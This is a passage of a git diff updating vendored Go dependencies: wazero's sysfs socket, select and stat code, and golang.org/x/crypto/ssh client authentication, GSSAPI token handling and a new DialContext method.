e.g. the read-end of a pipe or an eventfd on Linux. -// When the context is canceled, we may unblock a Select call by writing to the fd, causing it to return immediately. -// This however requires to do a bit of housekeeping to hide the "special" FD from the end-user. -func _select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return syscall_select(n, r, w, e, timeout) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go deleted file mode 100644 index eabf4f455b..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go +++ /dev/null @@ -1,45 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Darwin, with the given timeout Duration. -// We implement our own version instead of relying on syscall.Select because the latter -// only returns the error and discards the result. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - result, _, errno := syscall_syscall6( - libc_select_trampoline_addr, - uintptr(n), - uintptr(unsafe.Pointer(r)), - uintptr(unsafe.Pointer(w)), - uintptr(unsafe.Pointer(e)), - uintptr(unsafe.Pointer(t)), - 0) - res := int(result) - if errno == 0 { - return res, nil - } - return res, errno -} - -// libc_select_trampoline_addr is the address of the -// `libc_select_trampoline` symbol, defined in `select_darwin.s`. -// -// We use this to invoke the syscall through syscall_syscall6 imported below. -var libc_select_trampoline_addr uintptr - -// Imports the select symbol from libc as `libc_select`. -// -// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value -// or the "cgo" build flag. See /RATIONALE.md for why. -//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s deleted file mode 100644 index 16e65e8ec6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s +++ /dev/null @@ -1,8 +0,0 @@ -// lifted from golang.org/x/sys unix -#include "textflag.h" - -TEXT libc_select_trampoline<>(SB), NOSPLIT, $0-0 - JMP libc_select(SB) - -GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 -DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go deleted file mode 100644 index aae5e48f66..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go +++ /dev/null @@ -1,18 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Unix (unless Darwin), with the given timeout Duration. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - return syscall.Select(n, (*syscall.FdSet)(r), (*syscall.FdSet)(w), (*syscall.FdSet)(e), t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go deleted file mode 100644 index 400df900e6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !darwin && !linux && !windows - -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return -1, sys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go deleted file mode 100644 index b5c1a1bdb1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go +++ /dev/null @@ -1,173 +0,0 @@ -package sysfs - -import ( - "context" - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles -const pollInterval = 100 * time.Millisecond - -// zeroDuration is the zero value for time.Duration. It is used in selectAllHandles. -var zeroDuration = time.Duration(0) - -// syscall_select emulates the select syscall on Windows, for a subset of cases. -// -// r, w, e may contain any number of file handles, but regular files and pipes are only processed for r (Read). -// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. -// Regular files always immediately report as ready, regardless their actual state and timeouts. -// -// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, -// i.e. it won't block indefinitely. -// -// Note: ideas taken from https://stackoverflow.com/questions/6839508/test-if-stdin-has-input-for-c-windows-and-or-linux -// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - if n == 0 { - // Don't block indefinitely. - if timeout == nil { - return -1, sys.ENOSYS - } - time.Sleep(*timeout) - return 0, nil - } - - n, errno := selectAllHandles(context.TODO(), r, w, e, timeout) - if errno == 0 { - return n, nil - } - return n, errno -} - -// selectAllHandles emulates a general-purpose POSIX select on Windows. -// -// The implementation actually polls every 100 milliseconds until it reaches the given duration. -// The duration may be nil, in which case it will wait undefinely. The given ctx is -// used to allow for cancellation, and it is currently used only in tests. -// -// As indicated in the man page for select [1], r, w, e are modified upon completion: -// -// "Upon successful completion, the pselect() or select() function shall modify the objects pointed to by the readfds, -// writefds, and errorfds arguments to indicate which file descriptors are ready for reading, ready for writing, -// or have an error condition pending, respectively, and shall return the total number of ready descriptors in all the output sets" -// -// However, for our purposes, this may be pedantic because currently we do not check the values of r, w, e -// after the invocation of select; thus, this behavior may be subject to change in the future for the sake of simplicity. -// -// [1]: https://linux.die.net/man/3/select -func selectAllHandles(ctx context.Context, r, w, e *platform.FdSet, duration *time.Duration) (n int, errno sys.Errno) { - r2, w2, e2 := r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - // Short circuit when there is an error, there is data or the duration is zero. - if errno != 0 || n > 0 || (duration != nil && *duration == time.Duration(0)) { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - - // Ticker that emits at every pollInterval. - tick := time.NewTicker(pollInterval) - tickCh := tick.C - defer tick.Stop() - - // Timer that expires after the given duration. - // Initialize afterCh as nil: the select below will wait forever. - var afterCh <-chan time.Time - if duration != nil { - // If duration is not nil, instantiate the timer. - after := time.NewTimer(*duration) - defer after.Stop() - afterCh = after.C - } - - for { - select { - case <-ctx.Done(): - r.Zero() - w.Zero() - e.Zero() - return - case <-afterCh: - r.Zero() - w.Zero() - e.Zero() - return - case <-tickCh: - r2, w2, e2 = r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - if errno != 0 || n > 0 { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - } - } -} - -func peekAllHandles(r, w, e *platform.FdSet) (int, sys.Errno) { - // pipes are not checked on w, e - w.Pipes().Zero() - e.Pipes().Zero() - - // peek pipes only for reading - errno := peekAllPipes(r.Pipes()) - if errno != 0 { - return 0, errno - } - - _, errno = winsock_select(r.Sockets(), w.Sockets(), e.Sockets(), &zeroDuration) - if errno != 0 { - return 0, errno - } - - return r.Count() + w.Count() + e.Count(), 0 -} - -func peekAllPipes(pipeHandles *platform.WinSockFdSet) sys.Errno { - ready := &platform.WinSockFdSet{} - for i := 0; i < pipeHandles.Count(); i++ { - h := pipeHandles.Get(i) - bytes, errno := peekNamedPipe(h) - if bytes > 0 { - ready.Set(int(h)) - } - if errno != 0 { - return sys.UnwrapOSError(errno) - } - } - *pipeHandles = *ready - return 0 -} - -func winsock_select(r, w, e *platform.WinSockFdSet, timeout *time.Duration) (int, sys.Errno) { - if r.Count() == 0 && w.Count() == 0 && e.Count() == 0 { - return 0, 0 - } - - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - - rp := unsafe.Pointer(r) - wp := unsafe.Pointer(w) - ep := unsafe.Pointer(e) - tp := unsafe.Pointer(t) - - r0, _, err := syscall.SyscallN( - procselect.Addr(), - uintptr(0), // the first argument is ignored and exists only for compat with BSD sockets. - uintptr(rp), - uintptr(wp), - uintptr(ep), - uintptr(tp)) - return int(r0), sys.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go index ea59409943..af739a9082 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go @@ -5,7 +5,6 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/sys" ) @@ -18,10 +17,10 @@ func NewTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { // baseSockFile implements base behavior for all TCPSock, TCPConn files, // regardless the platform. type baseSockFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -var _ fsapi.File = (*baseSockFile)(nil) +var _ experimentalsys.File = (*baseSockFile)(nil) // IsDir implements the same method as documented on File.IsDir func (*baseSockFile) IsDir() (bool, experimentalsys.Errno) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go index 2509a17303..3698f560e0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go @@ -7,6 +7,7 @@ import ( "syscall" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -41,8 +42,9 @@ var _ socketapi.TCPSock = (*tcpListenerFile)(nil) type tcpListenerFile struct { baseSockFile - fd uintptr - addr *net.TCPAddr + fd uintptr + addr *net.TCPAddr + nonblock bool } // Accept implements the same method as documented on socketapi.TCPSock @@ -55,12 +57,7 @@ func (f *tcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { return &tcpConnFile{fd: uintptr(nfd)}, 0 } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpListenerFile) Close() sys.Errno { return sys.UnwrapOSError(syscall.Close(int(f.fd))) } @@ -70,12 +67,29 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr { return f.addr } +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} + var _ socketapi.TCPConn = (*tcpConnFile)(nil) type tcpConnFile struct { baseSockFile - fd uintptr + fd uintptr + nonblock bool // closed is true when closed was called. This ensures proper sys.EBADF closed bool @@ -89,12 +103,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &tcpConnFile{fd: f.Fd()} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Read(int(f.fd), buf) if err != nil { @@ -105,7 +114,7 @@ func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return n, errno } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *tcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Write(int(f.fd), buf) if err != nil { @@ -127,7 +136,7 @@ func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) { return n, errno } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *tcpConnFile) Shutdown(how int) sys.Errno { var err error switch how { @@ -141,7 +150,7 @@ func (f *tcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpConnFile) Close() sys.Errno { return f.close() } @@ -153,3 +162,19 @@ func (f *tcpConnFile) close() sys.Errno { f.closed = true return sys.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR)) } + +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go index 8e0ab92e54..ed275e6290 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go @@ -5,11 +5,10 @@ package sysfs import ( "net" "syscall" - "time" "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -19,8 +18,6 @@ const ( MSG_PEEK = 0x2 // _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket. _FIONBIO = 0x8004667e - // _WASWOULDBLOCK corresponds to syscall.EWOULDBLOCK in WinSock. - _WASWOULDBLOCK = 10035 ) var ( @@ -28,12 +25,8 @@ var ( modws2_32 = syscall.NewLazyDLL("ws2_32.dll") // procrecvfrom exposes recvfrom from WinSock. procrecvfrom = modws2_32.NewProc("recvfrom") - // procaccept exposes accept from WinSock. - procaccept = modws2_32.NewProc("accept") // procioctlsocket exposes ioctlsocket from WinSock. procioctlsocket = modws2_32.NewProc("ioctlsocket") - // procselect exposes select from WinSock. - procselect = modws2_32.NewProc("select") ) // recvfrom exposes the underlying syscall in Windows. @@ -92,6 +85,16 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) return } +func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { + return _poll([]pollFd{newPollFd(fd, _POLLIN, 0)}, timeoutMillis) + }) + return n > 0, errno +} + // newTCPListenerFile is a constructor for a socketapi.TCPSock. // // Note: currently the Windows implementation of socketapi.TCPSock @@ -101,9 +104,7 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) // standard library, instead of invoke syscalls/Win32 APIs // because they are sensibly different from Unix's. func newTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { - w := &winTcpListenerFile{tl: tl} - _ = w.SetNonblock(true) - return w + return &winTcpListenerFile{tl: tl} } var _ socketapi.TCPSock = (*winTcpListenerFile)(nil) @@ -118,17 +119,11 @@ type winTcpListenerFile struct { // Accept implements the same method as documented on socketapi.TCPSock func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { - // Ensure we have an incoming connection using winsock_select. - n, errno := syscallConnControl(f.tl, func(fd uintptr) (int, sys.Errno) { - fdSet := platform.WinSockFdSet{} - fdSet.Set(int(fd)) - t := time.Duration(0) - return winsock_select(&fdSet, nil, nil, &t) - }) - - // Otherwise return immediately. - if n == 0 || errno != 0 { - return nil, sys.EAGAIN + // Ensure we have an incoming connection using winsock_select, otherwise return immediately. + if f.nonblock { + if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 { + return nil, sys.EAGAIN + } } // Accept normally blocks goroutines, but we @@ -141,7 +136,20 @@ func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { } } -// IsNonblock implements File.IsNonblock +// Close implements the same method as documented on sys.File +func (f *winTcpListenerFile) Close() sys.Errno { + if !f.closed { + return sys.UnwrapOSError(f.tl.Close()) + } + return 0 +} + +// Addr is exposed for testing. +func (f *winTcpListenerFile) Addr() *net.TCPAddr { + return f.tl.Addr().(*net.TCPAddr) +} + +// IsNonblock implements the same method as documented on fsapi.File func (f *winTcpListenerFile) IsNonblock() bool { return f.nonblock } @@ -155,17 +163,9 @@ func (f *winTcpListenerFile) SetNonblock(enabled bool) sys.Errno { return errno } -// Close implements the same method as documented on fsapi.File -func (f *winTcpListenerFile) Close() sys.Errno { - if !f.closed { - return sys.UnwrapOSError(f.tl.Close()) - } - return 0 -} - -// Addr is exposed for testing. -func (f *winTcpListenerFile) Addr() *net.TCPAddr { - return f.tl.Addr().(*net.TCPAddr) +// Poll implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS } var _ socketapi.TCPConn = (*winTcpConnFile)(nil) @@ -189,20 +189,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &winTcpConnFile{tc: tc} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { - return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) - }) - return -} - -// IsNonblock implements File.IsNonblock -func (f *winTcpConnFile) IsNonblock() bool { - return f.nonblock -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -221,7 +208,7 @@ func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *winTcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { if nonBlockingFileWriteSupported && f.IsNonblock() { return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { @@ -248,7 +235,7 @@ func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) }) } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *winTcpConnFile) Shutdown(how int) sys.Errno { // FIXME: can userland shutdown listeners? var err error @@ -265,7 +252,7 @@ func (f *winTcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *winTcpConnFile) Close() sys.Errno { return f.close() } @@ -277,3 +264,22 @@ func (f *winTcpConnFile) close() sys.Errno { f.closed = true return f.Shutdown(syscall.SHUT_RDWR) } + +// IsNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = true + _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) + }) + return +} + +// Poll implements the same method as documented on fsapi.File +func (f *winTcpConnFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go index aeb7419716..254e204cd9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -36,14 +35,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go index 426b2850a4..fd289756de 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go @@ -8,7 +8,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,14 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go index b220041582..4b05a89772 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,10 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - if st, ok := info.Sys().(*syscall.Stat_t); ok { - return st.Ino, 0 - } - return 0, 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go index db28300bf4..4456dd7828 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go @@ -4,7 +4,6 @@ package sysfs import ( "io/fs" - "path" "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" @@ -77,22 +76,6 @@ func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } -// inoFromFileInfo uses stat to get the inode information of the file. -func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { - if dirPath == "" { - // This is a fs.File backed implementation which doesn't have access to - // the original file path. - return - } - // Ino is no not in Win32FileAttributeData - inoPath := path.Clean(path.Join(dirPath, info.Name())) - var st sys.Stat_t - if st, errno = lstat(inoPath); errno == 0 { - ino = st.Ino - } - return -} - func statHandle(h syscall.Handle) (sys.Stat_t, experimentalsys.Errno) { winFt, err := syscall.GetFileType(h) if err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go index 4f20b00ea2..4f7dbe3fe7 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go index e247809eec..be31c7b911 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go @@ -1,5 +1,3 @@ -//go:build windows - package sysfs import ( diff --git a/vendor/golang.org/x/crypto/ssh/client_auth.go b/vendor/golang.org/x/crypto/ssh/client_auth.go index 5c3bc25723..34bf089d0b 100644 --- a/vendor/golang.org/x/crypto/ssh/client_auth.go +++ b/vendor/golang.org/x/crypto/ssh/client_auth.go @@ -307,7 +307,10 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand } var methods []string var errSigAlgo error - for _, signer := range signers { + + origSignersLen := len(signers) + for idx := 0; idx < len(signers); idx++ { + signer := signers[idx] pub := signer.PublicKey() as, algo, err := pickSignatureAlgorithm(signer, extensions) if err != nil && errSigAlgo == nil { @@ -321,6 +324,21 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand if err != nil { return authFailure, nil, err } + // OpenSSH 7.2-7.7 advertises support for rsa-sha2-256 and rsa-sha2-512 + // in the "server-sig-algs" extension but doesn't support these + // algorithms for certificate authentication, so if the server rejects + // the key try to use the obtained algorithm as if "server-sig-algs" had + // not been implemented if supported from the algorithm signer. + if !ok && idx < origSignersLen && isRSACert(algo) && algo != CertAlgoRSAv01 { + if contains(as.Algorithms(), KeyAlgoRSA) { + // We retry using the compat algorithm after all signers have + // been tried normally. + signers = append(signers, &multiAlgorithmSigner{ + AlgorithmSigner: as, + supportedAlgorithms: []string{KeyAlgoRSA}, + }) + } + } if !ok { continue } diff --git a/vendor/golang.org/x/crypto/ssh/common.go b/vendor/golang.org/x/crypto/ssh/common.go index dd2ab0d69a..7e9c2cbc64 100644 --- a/vendor/golang.org/x/crypto/ssh/common.go +++ b/vendor/golang.org/x/crypto/ssh/common.go @@ -127,6 +127,14 @@ func isRSA(algo string) bool { return contains(algos, underlyingAlgo(algo)) } +func isRSACert(algo string) bool { + _, ok := certKeyAlgoNames[algo] + if !ok { + return false + } + return isRSA(algo) +} + // supportedPubKeyAuthAlgos specifies the supported client public key // authentication algorithms. Note that this doesn't include certificate types // since those use the underlying algorithm. This list is sent to the client if diff --git a/vendor/golang.org/x/crypto/ssh/server.go b/vendor/golang.org/x/crypto/ssh/server.go index 8f1505af94..7f0c236a9a 100644 --- a/vendor/golang.org/x/crypto/ssh/server.go +++ b/vendor/golang.org/x/crypto/ssh/server.go @@ -337,7 +337,7 @@ func checkSourceAddress(addr net.Addr, sourceAddrs string) error { return fmt.Errorf("ssh: remote address %v is not allowed because of source-address restriction", addr) } -func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *connection, +func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, token []byte, s *connection, sessionID []byte, userAuthReq userAuthRequestMsg) (authErr error, perms *Permissions, err error) { gssAPIServer := gssapiConfig.Server defer gssAPIServer.DeleteSecContext() @@ -347,7 +347,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c outToken []byte needContinue bool ) - outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(firstToken) + outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(token) if err != nil { return err, nil, nil } @@ -369,6 +369,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c if err := Unmarshal(packet, userAuthGSSAPITokenReq); err != nil { return nil, nil, err } + token = userAuthGSSAPITokenReq.Token } packet, err := s.transport.readPacket() if err != nil { diff --git a/vendor/golang.org/x/crypto/ssh/tcpip.go b/vendor/golang.org/x/crypto/ssh/tcpip.go index 80d35f5ec1..ef5059a11d 100644 --- a/vendor/golang.org/x/crypto/ssh/tcpip.go +++ b/vendor/golang.org/x/crypto/ssh/tcpip.go @@ -5,6 +5,7 @@ package ssh import ( + "context" "errors" "fmt" "io" @@ -332,6 +333,40 @@ func (l *tcpListener) Addr() net.Addr { return l.laddr } +// DialContext initiates a connection to the addr from the remote host. +// +// The provided Context must be non-nil. If the context expires before the +// connection is complete, an error is returned. Once successfully connected, +// any expiration of the context will not affect the connection. +// +// See func Dial for additional information. +func (c *Client) DialContext(ctx context.Context, n, addr string) (net.Conn, error) { + if err := ctx.Err(); err != nil { + return nil, err + } + type connErr struct { + conn net.Conn + err error + } + ch := make(chan connErr) + go func() { + conn, err := c.Dial(n, addr) + select { + case ch <- connErr{conn, err}: + case <-ctx.Done(): + if conn != nil { + conn.Close() + } + } + }() + select { + case res := <-ch: + return res.conn, res.err + case <-ctx.Done(): + return nil, ctx.Err() + } +} + // Dial initiates a connection to the addr from the remote host. // The resulting connection 